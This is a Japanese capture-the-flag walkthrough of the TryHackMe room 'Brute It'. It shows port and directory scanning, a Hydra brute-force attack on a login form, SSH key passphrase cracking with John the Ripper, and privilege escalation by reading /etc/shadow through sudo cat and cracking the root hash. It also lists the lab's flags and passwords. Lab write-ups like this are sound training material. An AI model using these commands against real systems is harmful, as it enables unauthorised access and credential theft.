【TryHackMe】Brute It：Walkthrough

# 概要

TryHackMe「Brute It」のWalkthroughです。

https://tryhackme.com/r/room/bruteit

# Task2

## **Q1**.*How many ports are open?*

**Hint**.*nmap -sS -sV MACHINE_IP*

ポートスキャンを実行します。

```
$ nmap -Pn -T4 -sVC -A -p- 10.10.75.239 -oN nmap_result
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 4b:0e:bf:14:fa:54:b3:5c:44:15:ed:b2:5d:a0:ac:8f (RSA)
|   256 d0:3a:81:55:13:5e:87:0c:e8:52:1e:cf:44:e0:3a:54 (ECDSA)
|_  256 da:ce:79:e0:45:eb:17:25:ef:62:ac:98:f0:cf:bb:04 (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-title: Apache2 Ubuntu Default Page: It works
|_http-server-header: Apache/2.4.29 (Ubuntu)
```

**A**.**2**

## **Q2**.*What version of SSH is running?*

**A**.**OpenSSH 7.6p1**

## **Q3**.*What version of Apache is running?*

**A**.**2.4.29**

## **Q4**.*Which Linux distribution is running?*

**A**.**Ubuntu**

## **Q5**.*What is the hidden directory?*

**Hint**.*gobuster dir -u MACHINE_IP -w common.txt*

`gobuster`でディレクトリスキャンをします。

```
$ gobuster dir -u 10.10.75.239 -w /usr/share/wordlists/dirb/common.txt

===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.10.75.239
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.hta                 (Status: 403) [Size: 277]
/.htpasswd            (Status: 403) [Size: 277]
/.htaccess            (Status: 403) [Size: 277]
/admin                (Status: 301) [Size: 312] [--> http://10.10.75.239/admin/]
/index.html           (Status: 200) [Size: 10918]
/server-status        (Status: 403) [Size: 277]
```

**A**.**/admin**

# Task3

## **Q1**.*What is the user:password of the admin panel?*

**Hint**.*Use hydra to brute it*

`/admin`にアクセスするとログインフォームが表示されました。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/d71d6e1f-5095-b84e-9b0d-7b83bb1f3298.png)

ソースコードを見ると、ユーザー名が`admin`だと分かりました。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/8cee0389-b20e-74c5-7a5a-3f2b07fa4076.png)

`Hydra`でブルートフォース攻撃をしてパスワードを探します。

```
$ hydra -f -l admin -P /usr/share/wordlists/rockyou.txt 10.10.94.152 http-post-form "/admin/:user=admin&pass=^PASS^:F=Username or password invalid" -t 40

[80][http-post-form] host: 10.10.94.152   login: admin   password: xavier
```

**A**.**admin:xavier**

## **Q2**.*What is John's RSA Private Key passphrase?*

**Hint**.*Use john the ripper to crack the RSA Private Key file.*

ログインに成功しました。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/2a584c2f-4837-1c02-0035-3b7c37c9057d.png)

`/admin/panel/id_rsa`からSSH秘密鍵を入手できました。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/68305a3e-4869-ea6f-8127-c59673d1bff8.png)

ファイルの保存して`JohnTheRipper`でパスフレーズを特定します。

```
$ ssh2john id_rsa > id_hash.txt

$ john id_hash.txt --wordlist=/usr/share/wordlists/rockyou.txt

rockinroll       (id_rsa)
```

**A**.**rockinroll**

## **Q3**.*user.txt*

`john`アカウントにSSH接続出来ました。

```
$ ssh -i id_rsa john@10.10.94.152
john@bruteit:~$
```

`/home/john/user.txt`からユーザーフラグを入手できました。

```
john@bruteit:~$ cat user.txt 
THM{a_password_is_not_a_barrier}
```

**A**.**THM{a_password_is_not_a_barrier}**

## **Q4**.*Web flag*

**A**.**THM{brut3_f0rce_is_e4sy}**

# Task4

## **Q1**.*What is the root's password?*

**Hint**.*Search for gtfobins*

`sudo -l`を確認します。

```
$ sudo -l
Matching Defaults entries for john on bruteit:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User john may run the following commands on bruteit:
    (root) NOPASSWD: /bin/cat
```

`cat`コマンドがroot権限で実行可能になっています。
`/etc/shadow`でrootアカウントのパスワードハッシュを取得します。

```
$ sudo /bin/cat /etc/shadow
root:$6$zdk0.jUm$Vya24cGzM1duJkwM5b17Q205xDJ47LOAg/OpZvJ1gKbLF8PJBdKJA4a6M.JYPUTAaWu4infDjI88U9yUXEVgL.:18490:0:99999:7:::
```

ハッシュ値からパスワードを特定できました。

```
$ john root_hash --wordlist=/usr/share/wordlists/rockyou.txt

football         (?)
```

**A**.**football**

## **Q2**.*root.txt*

得られたパスワードでrootアカウントに昇格出来ました。

```
$ su root
Password: 
root@bruteit:/home/john# whoami
root
```

`/root/root.txt`からルートフラグを入手できました。

```
# cat /root/root.txt
THM{pr1v1l3g3_3sc4l4t10n}
```

**A**.**THM{pr1v1l3g3_3sc4l4t10n}**